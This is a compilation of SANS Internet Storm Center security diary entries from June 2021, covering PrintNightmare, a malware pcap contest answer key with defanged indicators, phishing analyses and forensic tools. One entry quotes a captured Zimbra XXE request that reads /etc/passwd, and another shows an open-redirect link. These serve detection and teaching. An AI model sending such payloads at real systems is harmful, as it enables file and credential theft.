Published: 2021-06-30

CVE-2021-1675: Incomplete Patch and Leaked RCE Exploit

[preliminary. please let us know if we missed something or made any mistakes]

Latest update from Microsoft (July 1st 2021): Microsoft assigned a new CVE to the issue: CVE-2021-34527. It also provides some mitigation techniques. See https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527


As part of Microsoft's June patch Tuesday, Microsoft released a patch for CVE-2021-1675. At the time, the vulnerability was considered a privilege escalation vulnerability. Microsoft considered exploitation "less likely" [1].

On June 21st, Microsoft modified the description of the vulnerability upgrading it to a remote code execution vulnerability. Earlier this week, an RCE exploit was posted to GitHub. While the exploit code was quickly removed, it had already been forked multiple times and can still easily be found on GitHub.

Further, it appears that the patch released by Microsoft on June 6th was incomplete. This exploit will work on fully patched systems, according to multiple reports. But remote exploitation requires normal user credentials [2].

A successful attack will leave the attacker with SYSTEM privileges.

What should you do:

  • Patch systems that need to run the printer spool service.
  • Disable the printer spool service where possible. You only need it on systems that share printers. You do not need it on clients that only print to shared printers.  (see user comment below)
  • Block port 445/TCP and 135/TCP at your perimeter. (that is a good idea anyway)

What we do not know for sure:

  • The effectiveness of the June patch is disputed. Some say that it may prevent the PoC from working, but there is evidence that it does not fully patch the vulnerability.
  • Are there any exploit scenarios that do not require valid user credentials?
  • Some reports indicate issues with printing after applying the June patch.

for a good summary see: https://doublepulsar.com/zero-day-for-every-supported-windows-os-version-in-the-wild-printnightmare-b3fdb82f840c


Enable "PrintService-Operational" event logging. Exploit attempts (successful or not) will trigger event ID 316. [3]

Also see this GitHub: https://github.com/LaresLLC/CVE-2021-1675


An interesting workaround comes from Fabio Viggiani of Truesec. The exploit relies on loading a malicious printer driver. This can be prevented by restricting access to the printer driver directory. [4]

$Path = "C:\Windows\System32\spool\drivers"

$Acl = Get-Acl $Path

$Ar = New-Object System.Security.AccessControl.FileSystemAccessRule("System", "Modify", "ContainerInherit, ObjectInherit", "None", "Deny")


Set-Acl $Path $Acl


[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675
[2] https://twitter.com/gentilkiwi/status/1410066827590447108?s=21
[3] https://twitter.com/MalwareJake/status/1410421445608476679
[4] https://blog.truesec.com/2021/06/30/fix-for-printnightmare-cve-2021-1675-exploit-to-keep-your-print-servers-running-while-a-patch-is-not-available/

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2021-06-30

June 2021 Forensic Contest: Answers and Analysis


Thanks to everyone who participated in our June 2021 forensic contest originally posted two weeks ago.  We received 10 submissions through our contact page, and four people found all three infections in the pcap.  Unfortunately, we could only pick one winner.  In this case, our winner was chosen through a random process among the four eligible people.  Join us in congratulating this month's winner, Dimitri!  Dimitri will receive a Raspberry Pi 4 kit.

You can still find the pcap for our June 2021 forensic contest at this Github repository.


Three infected Windows clients show signs of infection within the Active Directory (AD) environment from the packet capture (pcap).  The infected Windows hosts are:

  • IP address:
  • MAC address: 00:23:54:a2:1f:b4
  • Host name: DEKSTOP-A1CTJVY
  • User account: raquel.anderson
  • Infected with: AgentTesla
  • Date/Time of infection activity: 2021-06-16 15:44 UTC
  • IP address:
  • MAC address: 00:23:54:e3:a3:55
  • Host name: DESKTOP-NIEE9LP
  • User account: tommy.vega
  • Infected with: Hancitor, Cobalt Strike, and Ficker Stealer
  • Date/Time of infection activity: 2021-06-16 14:37 UTC
  • Note: Malicious Word doc was sent through ststephenskisugu[.]church at 14:35 UTC
  • IP address:
  • MAC address: 00:23:54:72:c9:13
  • Host name: DESKTOP-YS6FZ2G
  • User account: horace.maddox
  • Infected with: Qakbot (Qbot)
  • Date/Time of infection activity: 2021-06-16 15:37 UTC
  • Note: Malicious zip archive was sent through solarwindsonline[.]com at 15:30 UTC

To help in your analysis of this activity, please review the Requirements section in our original diary for this month's contest.

Creating Pcaps for Individual Hosts

As stated in our original post, the infected Windows hosts are part of an AD environment, and its characteristics are:

  • LAN segment range: ( through
  • Domain: saltmobsters.com
  • Domain Controller: - Saltmobsters-DC
  • LAN segment gateway:
  • LAN segment broadcast address:

To find IP addresses for Windows clients in this AD environment, use Statsistics --> Endpoints to bring up Wireshark's Endpoints window.

Shown above:  Getting to the Endpoints window in Wireshark.

The Endpoints window shows all endpoints in the pcap.  Click on the IPv4 tab and sort by address to find IP addresses in the range.

Shown above:  Sorting by Address under the IPv4 tab and finding the addresses.

This should reveal six internal IP addresses within the LAN segment ior saltmobsters.com:

  • (gateway)
  • (Domain controller, Saltmobsters-DC)
  • (broadcast address),, and are already accounted for, we should filter on each of the three remaining IP addresses and export traffic for each one into a separate pcap.

First, filter on ip.addr eq then use File --> Export Specified Packets... to save the displayed traffic in a new pcap as shown below.

Shown above:  Filtering on and saving the traffic to a new pcap.

Do the same thing for and  Now you should have three new pcaps that contain traffic from each of the Windows clients.

Shown above:  Three pcaps from Windows clients extracted from the June 2021 contest pcap.

Infection Traffic for Agent Tesla (AgentTesla)

Let's review traffic from  We can quickly determine host information by filtering on Kerberos.CNameString and viewing a customized column for CNameString as described in this tutorial.  The host information is:

  • IP address:
  • MAC address: 00:23:54:a2:1f:b4
  • Host name: DEKSTOP-A1CTJVY
  • User account name: raquel.anderson

You can find host information for the other two IP addresses using this method.  Note: When setting up this environment, I misspelled DESKTOP in the host name for DEKSTOP-A1CTJVY.

Shown above:  Host information for

There's nothing unusual in web traffic from, except for a dns query to turtleoil1998b[.]com that resolves to 45.142.212[.]61, but no TCP connection is established with that IP.  This traffic is related to the TA551 (Shathak) campaign, and it was pushing Ursnif (Gozi/ISFB) during this timeframe.  My personal research has confirmed turtleoil1998b[.]com was a domain used by TA551 to host malware DLL files for Ursnif on 2021-06-16.

Despite a lack of interesting web traffic, generated unusual SMTP activity.  Filter on smtp, and the display will show unencrypted SMTP traffic over TCP port 587 to an external IP address.  This is not normal activity from a Windows client.

Shown above: SMTP traffic seen from

Follow the TCP stream for any of the first few frames in the SMTP results.  Your TCP stream should reveal an email to accounts@staroxalate.com with usernames and passwords from the Windows host.  This is definitely malicious traffic.

Shown above:  TCP stream of unencrypted SMTP traffic with info from the infected host.

This activity matches what I've seen for AgentTesla malware.  It triggered an alert for AgentTesla-generated SMTP when I tested it in my lab environment.

Shown above:  EmergingThreats (ET) alert for AgentTesla.

The infected Windows host at sent four emails to accounts@staroxalate.com.

Shown above:  Four different emails sent from

The first message has passwords from the infected Windows host, and its subject line starts with PW.  The next three messages have keylogging data, and their subject lines start with KL.

Infection Traffic for Hancitor, Cobalt Strike, and Ficker Stealer

Traffic from fits patterns for Hancitor, Cobalt Strike, and Ficker Stealer as described in this Wireshark Tutorial.  In recent weeks, Hancitor has used Google Feedproxy links as the initial URL to kick off an infection chain.  The initial Google Feedproxy link in this pcap redirected to a URL from, ststephenskisugu[.]church as part of this infection chain.

Indicators for the remaining activity are listed below.

Hancitor traffic:

  • port 80 - api.ipify.org - GET /
  • 194.226.60[.]15 port 80 - hadevatjulps[.]com - POST /8/forum.php

Hancitor-infected host retrieves follow-up malware:

  • 8.209.119[.]208 port 80 - srand04rf[.]ru - GET /16.bin
  • 8.209.119[.]208 port 80 - srand04rf[.]ru - GET /16s.bin
  • 8.209.119[.]208 port 80 - srand04rf[.]ru - GET /f7juhkryu4.exe

Cobalt Strike traffic:

  • 162.244.83[.]95 port 80 - 162.244.83[.]95 - GET /VOoH
  • 162.244.83[.]95 port 443 - 162.244.83[.]95:443 - GET /4Erq
  • 65.60.35[.]141 port 80 - 65.60.35[.]141 - GET /pixel
  • 65.60.35[.]141 port 443 - 65.60.35[.]141:443 - GET /g.pixel

Ficker Stealer traffic:

  • port 80 port api.ipify.org - GET /?format=xml
  • 185.66.15[.]228 port 80 - pospvisis[.]com - TCP traffic (not HTTP)

EXE retrieved from the traffic:

Infection Traffic for Qakbot (Qbot)

Traffic from fits patterns for Qakbot (Qbot) malware.  Indicators are:

  • 192.186.204[.]161 port 80 - solarwindsonline[.]com - GET /miss-alicia-abbott/Oliver.Williams-84.zip
  • 192.186.204[.]161 port 80 - solarwindsonline[.]com - GET /miss-alicia-abbott/documents.zip
  • 103.28.39[.]29 port 443 - khangland[.]pro - HTTPS traffic
  • 104.244.121[.]13 port 443 - jaipurbynite[.]com - HTTPS traffic
  • 149.28.99[.]97 port 2222 - attempted TCP connections
  • 95.77.223[.]148 port 443 - attempted TCP connections
  • 207.246.77[.]75 port 2222 - HTTPS/SSL/TLS traffic

The initial URL for solarwindsonline[.]com was reported to URLhaus as returning a zip archive for Qakbot.  Unfortunately, due to packet loss in our pcap, we cannot export the zip archive that appears in this traffic.

However, this malware sample is an Excel spreadsheet associated with Qakbot that generates traffic to khangland[.]pro and jaipurbynite[.]com. Tria.ge sandbox analysis of the sample shows it generates the following HTTPS URLs when macros are enabled:

  • hxxps://khangland[.]pro/v8gEDeSB/sun.html
  • hxxps://jaipurbynite[.]com/stLdQs9R53/sun.htm

These two URLs fit patterns associated with Qakbot infections in recent weeks.  207.246.77[.]75:2222 is also known for malicious traffic associated with Qakbot.

Final Words

This month's quiz was significantly more difficult than our previous two forensic contests, so thanks to all who participated.

Congratulations again to Dimitri for winning this month's competition!

You can still find the pcap and malware at this Github repository.


Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2021-06-29

Diving into a Google Sweepstakes Phishing E-mail

I was recently forwarded another phishing e-mail to examine. This time, it was an e-mail that claimed to be from Google. The e-mail included a pdf file, and instructed the recipient download the file for further information. Figure 1 below shows the headers, while Figure 2 shows the content of the e-mail message.

Figure 1: E-Mail Headers

Figure 2: Contents of Phishing E-Mail

With reference to Figure 1, the e-mail was sent via an academic institution’s e-mail system (details redacted to protect privacy of the affected asset owner). We can also see that the perpetrator attempted to use legitimate looking e-mail addresses (e.g., “info-corp.ltd”).

We can see that the e-mail appeared to be quite sparse (Figure 2), and subtly nudged the recipient to open the pdf file for additional details. Before opening unknown pdf files, let’s dissect it and see if there is any malicious code embedded within the file. I used Didier’s pdfid.py and pdf-parser.py to perform the analysis.

Figure 3: Analysis of Official Notification.pdf via pdfid.py

Looking at the output (as shown in Figure 3), we can see that the file is pretty tame. We would see some additional outputs such as /JS, /JavaScript, /AA or /OpenAction if the pdf file had malicious functionality embedded inside. I was also curious if any metadata could be obtained so as to have some insight on the perpetrator. Using pdf-parser.py, I looked through the objects within the pdf file and discovered object 36 containing some data. Figure 4 shows the output of object 36 (the -c flag displays the content, and -w displays the raw output). It appears that the author’s name was “hp”, and the file was created with Microsoft Word 2013. The file timestamps showed that it was created on June 21 2021 at 11:13:28 (+8 GMT). Unfortunately, there was nothing much else of interest. Although the author’s name (in this case, the author’s name would also reflect the name of the user account), program that created the pdf file and time zone setting could be retrieved, it could be something that the perpetrator had deliberately set up/created. Nevertheless, it is still useful Open Source Information (OSINT) that should be noted down to track down phishing campaigns.

Figure 4: Metadata of Official Notification.pdf via pdf-parser.py

After noting down these details, I examined the contents of the pdf file. Figures 5 and 6 show an excerpt of the content, and the perpetrator have taken quite a bit of care to ensure that the document looked legitimate. The address used was a legitimate address used by Google UK, and reference numbers were also used to make it look more official. Finally, the document purportedly states that the recipient has won £1,950,000.00 (~US$2,710,110.00), along with some Google hardware. However, there were evidently some suspicious areas. For example, it was highly unlikely that a contact from Google would be using the domain “goocoperate.com” for correspondence. A quick check on that domain name showed that “goocoperate.com” was registered on September 29 2020, and directed the visitor to the default site landing page of the hosting provider.

Figure 5: Content of Official Notification.pdf (Part 1)

Figure 6: Content of Official Notification.pdf (Part 2)

The style of phishing is not new, and it looks like the phishing mail has been upgraded. I did some research and the previous “prize” offered was £950,000.00 (US$1,320,310.00). Victims who wrote back to them would be persuaded to pay for the bank and delivery charges, and never receive the purported prize money. It appears that this tactic has worked well, or else the perpetrators would not have bothered to refresh the “congratulatory” letter and also increase the prize winnings. Thankfully, the pdf file was not weaponized, though it remains to be seen that it would stay that way. As mentioned in my previous diary, always verify the authenticity of the e-mail you receive when in doubt [1]. Don’t forget to look out for your loved ones, and remind them about the various phishing e-mails/messages they might receive.

Update: I forgot to further classify this e-mail as an advance fee scam after the analysis. It could seem as that in the first place, but we can never know if the perpetrators add a little bonus in the pdf files.

Indicators of Compromise (IOCs):
Official Notification.pdf (304KB)
MD5: 15ff78d798d1c32f6017a99f1b675ce3
SHA1: 7749a3d4be7505abca3000d1c3e3a4afdd428d04

[1] https://isc.sans.edu/diary/27356

Yee Ching Tok, ISC Handler
Personal Site


Published: 2021-06-28

CFBF Files Strings Analysis

The Office file format that predates the OOXML format, is a binary format based on the CFBF format. I informally call this the ole file format.

It's a binary file format, and is uncompressed (disregarding application specific exceptions, like VBA source code).

That lends itself to strings analysis, as I've wrote about in previous diary entries.

There is a potential problem when you run the strings command on a .doc file, for example. The CFBF file format, is similar to a file system format: it is made up of sectors, and has File Allocation Tables. This means that the data that is contained into streams, is written into sectors. These sectors don't have to be sequential.

If you are looking for URLs for example, you could run the strings command on a .doc file, and grep for string http.

It can happen, that a URL straddles the boundary of 2 sectors: its first part is at the end of sector N, and its last part is at the start of sector N+1. If both sectors are written sequentially into the CFBF file, there is no problem. But if they are not contiguous, the strings command can not extract the complete URL, as it is split into 2 strings that are separated by other data.

I have a couple of solutions to this problem.

The first one I'll cover in this diary entry, is quite simple: my tool oledump.py, a tool to analyze CFBF files, has an option to extract all strings from a stream: -S.

Take this Word document, a .doc file, where I have typed a URL on the first page:

Stream 6 contains the content that I typed:

This is for a single stream. Use "-s a" to extract strings from all streams:

With this last command, you can extract all strings from all streams. And you will not extract strings that are not located in streams, like the names of the streams for example.

You don't have control over oledump's string extraction method, for example, you can not specify a minimum string length (it's minimum 4).

There are other methods where you can do that: that is for another diary entry.


Didier Stevens
Senior handler
Microsoft MVP


Published: 2021-06-27

DIY CD/DVD Destruction

I have some personal CDs & DVDs to dispose of. And I don't want them to reamain (easily) readable.

There are paper shredders that also shred CDs & DVDs, but I don't own such a shredder.

So I ended up drilling a hole in my optical disks.

My recommendation: don't to this, it's difficult and hazardous.

Even though I used a drill press with a clamp to hold the optical disks, I had disks that came loose and started to spin, with risk of flying in all directions.

That's because I drilled with a speed (around 2500 rpm) that was too high: it made the plastic meld, and got the drill bit stuck in the stack of disks.

A lower drill speed (500 rpm) solved that problem, the plastic no longer melted, but I still had small pieces of plastic and metal film detaching from the disks.

I drilled the hole close to the center of the optical disk, because I remembered that CDs and DVDs are written from the center to the edge. Assuming that data structures that describe the layout of the disk are found at the beginning, drilling a hole there would make the complete disk unreadable.

I tested one disk with a hole, and indeed, my drive was not recognizing any disk:

It's a difficult and hazardous process, don't do it. Especially not with a handheld power drill.

Please post a comment if you have destroyed data supports like CDs and DVDs, especially if you have a safe and easy DIY solution.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-06-26

CVE-2019-9670: Zimbra Collaboration Suite XXE vulnerability

This XML External Entity injection (XXE) vulnerability disclosed in March 2019 is still actively scanned for a vulnerable mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10. This exploit attempts to read the Zimbra configuration file that contains an LDAP password for the zimbra account.

Sample Log

20210625-144918: data
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: XX.XX.28.221:443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Length: 314
Content-Type: application/xml
Accept-Encoding: gzip
Connection: close
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">

Indicators (AS Name: HOSTWAY-AS, SELECTEL)

Information on the patch is available here [3].

[1] https://nvd.nist.gov/vuln/detail/CVE-2019-9670
[2] https://bugzilla.zimbra.com/show_bug.cgi?id=109129
[3] https://wiki.zimbra.com/wiki/Zimbra_Releases/8.7.11/P10
[4] https://programmersought.com/article/89298322178/
[5] https://www.shodan.io/search?query=zimbra
[6] https://isc.sans.edu/forums/diary/Is+XXE+the+new+SQLi/17375
[7] https://isc.sans.edu/forums/diary/Blindly+confirming+XXE/19257

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2021-06-25

Is this traffic bAD?

It seems like every time I take a handler shift lately, I'm talking about an uptick of traffic on another port and I'm not breaking that trend today. This really takes me back to the early days of the Internet Storm Center when that seemed to be the main thing we talked about. This time, the port that gotmy attention is UDP port 389. This is the normal port for the Lightweight Directory Access Protocol (LDAP) which is used a great deal by Microsoft Active Directory (AD). 

You'll notice we aren't seeing an increase is sources, but they do seem to have increased the amount of scanning they are doing (both number of targets and number of reports). A quick search shows there was a vulnerability reported in March, but I haven't been able to determine if this new traffic is actually trying to exploit it or not. I haven't been able to make much sense of the traffic I've captured in my personal honeypots, yet, but plan to look more carefully later today/tomorrow. For whatever it is worth, the top three scanners are from the US, India, and Belize. I probably don't need to tell this audience, but your Active Directory/LDAP is probably not something that should be directly exposed on the internet. If anyone knows what is going on, you can comment below, or e-mail us, or use our contact form.


[1] https://nvd.nist.gov/vuln/detail/CVE-2020-35518

Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu


Published: 2021-06-24

Do you Like Cookies? Some are for sale!

Cookies… These small pieces of information are always with us. Since the GDPR was kicked off in Europe, we are flooded by pop-ups asking if we accept “cookies”. Honestly, most people don’t take time to read the warning and just accept the default settings.

If cookies are useful for a website owner to track which actions were previously performed by the visitor (like the page's configuration: language selection, colors, etc…), cookies are also very interesting to maintain sessions, they are called “session cookies” and allow users to be tracked within a website so any action the visitor does is remembered from page to page. Think about an e-commerce website where visitors are browsing between articles, filling up their basket and, finally, check-out.

Cookies are also useful to keep a session “open” to a website and to prevent the visitor to always authenticate again when (s)he’s back. Think about the small option “Stay connected” that you see on login pages. Those are called “Persistent cookies” and help websites to remember your information and settings when you visit them in the future.

From a web developer’s perspective, the way sessions are implemented is critical and must be properly addressed. The session management implementation describes how the session information will be exchanged between the browser and the server. One of the available techniques is to use a cookie and it must be properly implemented. Besides the fact that it must be protected (created with the right flags - Secure & HTTPOnly). It must have an expiration time and, when the user closes his/her session, the cookie must be removed and the session destroyed on the server.

So many times, I’ve seen improper session handling implemented in websites. The user logs off but the session is not really closed on the server-side and/or the cookie remains valid. If an attacker is able to put his hands on the browser and access cookies, it’s easy to load this cookie into another browser and… reactivate the session. This technique is called “session impersonation” or “session hijacking”. And, if the cookie is used to hold a session to an administrative interface, it could have a very bad impact!

For a while, we’ve seen markets on the dark web that… are selling cookies! Forget about passwords or credentials, you just need a cookie to “replay the session” and open doors to many websites! Recently, Electronic Arts suffered from an attack that involved a Slack cookie sold on a black market platform[1]. How suck cookies are collected? The primary source is via botnets that infect computers and crawl sensitive data. For example, the Trickbot trojan has, for a while, a cookie stealing module available[2].

How to protect against this type of attack? From a user’s point of view, cookies are a gold mine and must be protected. They are stored in your browser environment. The best way to protect you is to keep your computer patched! It could also be a good idea to use the "incognito" feature of your browser to avoid storing sensitive information in the browser config.

From a developer’s point of view, be sure to properly handle the sessions. When a user logs off, clean up everything. A good idea is to add more details in the session ID your store in a cookie, add the visitor’s IP address, more fingerprints to detect if a session has been hijacked.

Yes, credentials remain interesting data for attackers but cookies too! Keep them safe!

[1] https://www.vice.com/en/article/7kvkqb/how-ea-games-was-hacked-slack
[2] https://www.bleepingcomputer.com/news/security/trickbot-trojan-now-has-a-separate-cookie-stealing-module/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-06-23

Standing With Security Researchers Against Misuse of the DMCA

As Dean of Research for our graduate school (sans.edu), I often assist students in developing their research ideas. The research conducted by our students is valuable and important to defend our networks against highly organized and well-funded threat actors. Any restriction on our student's ability to conduct their research, and sharing their results freely, only adds additional unnecessary burdens on us as network defenders. With that, I am happy that I was able to co-sign the attached statement by the Electronic Frontier Foundation (EFF) on behalf of the SANS Technology Institute. Legal threats against good faith security researchers only discourage the open exchange of ideas. If we hope to have a chance to defend, we will have to keep exchanging these ideas, learn and we need to continue to be curious hackers exploring the technologies that are the foundation of our everyday living.


We the undersigned write to caution against use of Section 1201 of the Digital Millennium Copyright Act (DMCA) to suppress software and tools used for good faith cybersecurity research. Security and encryption researchers help build a safer future for all of us by identifying vulnerabilities in digital technologies and raising awareness so those vulnerabilities can be mitigated. Indeed, some of the most critical cybersecurity flaws of the last decade, like Heartbleed, Shellshock, and DROWN, have been discovered by independent security researchers.  

However, too many legitimate researchers face serious legal challenges that prevent or inhibit their work. One of these critical legal challenges comes from provisions of the DMCA that prohibit providing technologies, tools, or services to the public that circumvent technological protection measures (such as bypassing shared default credentials, weak encryption, etc.) to access copyrighted software without the permission of the software owner. 17 USC 1201(a)(2), (b). This creates a risk of private lawsuits and criminal penalties for independent organizations that provide technologies to  researchers that can help strengthen software security and protect users. Security research on devices, which is vital to increasing the safety and security of people around the world, often requires these technologies to be effective.  

Good faith security researchers depend on these tools to test security flaws and vulnerabilities in software, not to infringe on copyright. While Sec. 1201(j) purports to provide an exemption for good faith security testing, including using technological means, the exemption is both too narrow and too vague. Most critically, 1201(j)’s accommodation for using, developing or sharing security testing tools is similarly confined; the tool must be for the "sole purpose" of security testing, and not otherwise violate the DMCA’s prohibition against providing circumvention tools. 

If security researchers must obtain permission from the software vendor to use third-party security tools, this significantly hinders the independence and ability of researchers to test the security of software without any conflict of interest. In addition, it would be unrealistic, burdensome, and risky to require each security researcher to create their own bespoke security testing technologies.

We, the undersigned, believe that legal threats against the creation of tools that let people conduct security research actively harm our cybersecurity. DMCA Section 1201 should be used in such circumstances with great caution and in consideration of broader security concerns, not just for competitive economic advantage. We urge policymakers and legislators to reform Section 1201 to allow security research tools to be provided and used for good faith security research In addition, we urge companies and prosecutors to refrain from using Section 1201 to unnecessarily target tools used for security research. 

Bishop Fox
Black Hills Information Security
Cybersecurity Coalition
Digital Ocean
Electronic Frontier Foundation
Grand Idea Studio
Luta Security
NCC Group
Red Siege
SANS Technology Institute
Social Exploits LLC 

see https://www.eff.org/deeplinks/2021/06/dmca-security-researcher-statement

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2021-06-22

Phishing asking recipients not to report abuse

It can be a little disheartening to deal with well-prepared phishing attacks every day, since one can easily see how even users who are fully “security-aware” could fall for some them. The messages don’t even have to be too complex to be believable. For example, a message containing seemingly innocuous text and a link that points to legitimate, well-known domain hosting an application that is affected by open redirect vulnerability (I’m looking at you, Google[1], though – to be fair – you’re hardly alone[2]) can look quite trustworthy, if no obvious red flags are present.

Fortunately, most phishing messages in the wild are easy to spot, even if anti-spam and anti-phishing filters on e-mail gateways don’t stop them. We usually tend not to give these run of the mill messages a second look, since they are not too dangerous under most circumstances. However, if we do, some of them might prove to be at least somewhat interesting, even if it is only due to a mistake on the part of their author. One such easy to spot message that made me smile was forwarded to me this week by one of my Hungarian colleagues, but before we get to it, however, let’s set the stage a little.

It is not unusual for phishing authors to use lures along the lines of “if you believe that this message was sent to you in error, please let us know by clicking here”, “if you were not the one to request the transfer of funds, you may cancel it on this link” or “if you believe that your account was used in a fraudulent operation, let us know immediately”, as the following example shows.

It is quite out of the ordinary to find the complete opposite of these sentiments – i.e. “do not report abuse” – in a phishing e-mail. This was, however, indeed the case with the message I was sent…

As you may see, it is in Hungarian, and according to a translation by Google Translate, it basically says “you need to run a check on your e-mail using this link to be able to receive further messages”. This would be hardly unusual, however the last sentence next to the copyright comes down to “Your system administrator has advised you not to report abuse”.

I don’t dare guess whether this less than usual instruction was the result of an error in automatic translation from another language, an unsuccessful attempt at making the message appear more trustworthy or whether the author of the e-mail included it in the hope that users really wouldn’t report the phishing, if they saw through it… In either case, it certainly wouldn’t add to the credibility of the message, even if the link didn’t lead to a very generic page containing a form requesting e-mail, username and password.

As this message shows, even looking at some of the less-than-stellar phishing attempts can sometimes be interesting… and after dealing with more sophisticated attacks, it can be good for morale as well.

[1] https://isc.sans.edu/forums/diary/Open+redirects+and+why+Phishers+love+them/27542/
[2] https://isc.sans.edu/forums/diary/Guest+Diary+Open+Redirect+A+Small+But+Very+Common+Vulnerability/25276/

Jan Kopriva
Alef Nula


Published: 2021-06-21

Mitre CWE - Common Weakness Enumeration

If you are involved in the security industry  you are at least somewhat familiar with the Mitre ATT&CK framework, the very useful, community driven, knowledgebase of attack threat models and methodologies which can be used to emulate adversary behavior to test security controls. However fewer are aware of a lesser known Mitre project, Common Weakness Enumeration (CWE).

CWE is a community developed list of common software and hardware weaknesses which serves as a common language which can be used as an input to security processes.  One way I have commonly used the CWE is to aid in creation of Request for Proposals (RFP) for security products, but it can also be used as input to penetration tests, security assessments,  product testing and many other use cases. 

At the present time the CWE contains 918 documented weaknesses, but the CWE contributors have organized those weaknesses into useful groupings, or views, which make the CWE applicable to many different usages. One of the most popular views is the CWE Top 25 Most Dangerous Software Weaknesses, which can be used as a starting point to securing software applications. There is also a view which maps weaknesses to the OWASP Top 10 as well as many other views into the CWE data.

The CWE Project as well as ATT&CK are always looking for contributors.  Getting involved in projects like these are an excellent way to network in the security industry as well as an excellent place to develop security skills.  For those of you who are new to the security industry, active participation in projects like these can look very good on your resume. Please consider contributing if you have the time.


-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - Twitter:namedeplume (Protected)


Published: 2021-06-20

Video: oledump Cheat Sheet

I did create a SANS cheat sheet for oledump.py.

Here is a short video where I go over the cheat sheet and give some simple demos:

Didier Stevens
Senior handler
Microsoft MVP


Published: 2021-06-19

Easy Access to the NIST RDS Database

When you're facing some suspicious files while performing forensic investigations or analyzing malware components, it's always interesting to know these files are legit or malicious/modified. One of the key sources to verify hashes is provided by NIST and is called the NSLR project ("National Software Reference Library")[1]. They build "Reference Data Set" (RDS) of information that can be queried to verify a file hash. These RDS are available to download[2] but, as you may expect, there are huge (they are provided as ISO files between 500MB to 4GB!)

CIRCL[3], the Luxembourg CERT, has a good reputation to offer/participate in services like MISP, a passive DNS service, etc. They are now offering an API to query the NIST RDS via HTTP or DNS requests!

How does it work? You can use the FQDN hashlookup.circl.lu like this:

PS C:\Users\xavie> curl.exe -X GET https://hashlookup.circl.lu/lookup/md5/8ED4B4ED952526D89899E723F3488DE4 -H 'Accept: application/json'
  "CRC32": "7A5407CA", 
  "FileName": "wow64_microsoft-windows-i..timezones.resources_31bf3856ad364e35_10.0.16299.579_de-de_f24979c73226184d.manifest", 
  "FileSize": "2520", 
  "MD5": "8ED4B4ED952526D89899E723F3488DE4", 
  "OpSystemCode": {"MfgCode": "1006", "OpSystemCode": "362", "OpSystemName": "TBD", "OpSystemVersion": "none"},
  "ProductCode": {
    "ApplicationType": "Security", 
    "Language": "Multilanguage", 
    "MfgCode": "608", 
    "OpSystemCode": "868", 
    "ProductCode": "190742", 
    "ProductName": "Cumulative Update for Windows Server 2016 for x64 (KB4338817)", 
    "ProductVersion": "1709"
  "SHA-1": "00000079FD7AAC9B2F9C988C50750E1F50B27EB5", "SpecialCode": ""

You can also query the database via a DNS request (my preferred method!):

root@remnux:/# dig +short -t TXT 8ED4B4ED952526D89899E723F3488DE4.dns.hashlookup.circl.lu | jq -r . | jq .
  "CRC32": "7A5407CA",
  "FileName": "wow64_microsoft-windows-i..timezones.resources_31bf3856ad364e35_10.0.16299.579_de-de_f24979c73226184d.manifest",
  "FileSize": "2520",
"MD5": "8ED4B4ED952526D89899E723F3488DE4",
"OpSystemCode": {"MfgCode": "1006", "OpSystemCode": "362", "OpSystemName": "TBD", "OpSystemVersion": "none"},
"ProductCode": {
  "ApplicationType": "Security",
  "Language": "Multilanguage",
  "MfgCode": "608",
  "OpSystemCode": "868",
  "ProductCode": "190742",
  "ProductName": "Cumulative Update for Windows Server 2016 for x64 (KB4338817)",
  "ProductVersion": "1709"
  "SHA-1": "00000079FD7AAC9B2F9C988C50750E1F50B27EB5", "SpecialCode": ""

SHA1 and MD5 hashes are supported and you can also submit bulk requests. More documentation is available here[4].

If you need to scan a complete filesystem, my recommendation is of course to use your own local copy of the NIST databases! Many forensic tools allow you to compare hashes against a local database. But when you quickly need to check a single file or a restricted set of files, this service is perfect! Thank you to CIRCL for providing this to the community! The website says also that more databases will be added in the future!

[1] https://www.nist.gov/itl/ssd/software-quality-group/national-software-reference-library-nsrl
[2] https://www.nist.gov/itl/ssd/software-quality-group/national-software-reference-library-nsrl/nsrl-download/current-rds
[3] https://circl.lu
[4] https://gist.github.com/adulau/4191d44e30fc01df38f1d5fe605fa920#file-hashlookup-circl-lu-md

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-06-18

Open redirects ... and why Phishers love them

Working from home, did you get a meeting invite recently that pointed to https://meet.google.com ?  Well, that's indeed where Google's online meeting tool is located. But potentially the URL you got is not "only" leading you there.

Google Meet and Google Hangouts have a so-called open-redirect vulnerability. Phishers have found it, and are currently abusing it in droves. Your users believe they are clicking on a Google link, but end up somewhere else alltogether.

Benign example:  https://meet.google.com/linkredirect?dest=https://cwe.mitre.org/data/definitions/601.html

Obviously, the Phishers wont't send your users to the Mitre vulnerability database, but rather make use of obfuscated destination URLs which commonly then lead to a phishing site that mimics a Google or Microsoft login page.

Google Hangouts https://hangouts.google.com has the same problem, and is also being abused.

Battling the never ending Phishing wave is difficult enough without major companies providing help to the crooks in the form of Open Redirects. If you have open redirects in your online web presence, and they are turning up in vulnerability reports for your site, please take them seriously, and fix them.




Published: 2021-06-18

Network Forensics on Azure VMs (Part #2)

In yesterday's diary, we took a look at two methods that allow to capture network connection information off a potentially compromised virtual machine in Azure. Today, we'll investigate the most recent addition to the VM monitoring arsenal, namely "Azure Monitor Insights".

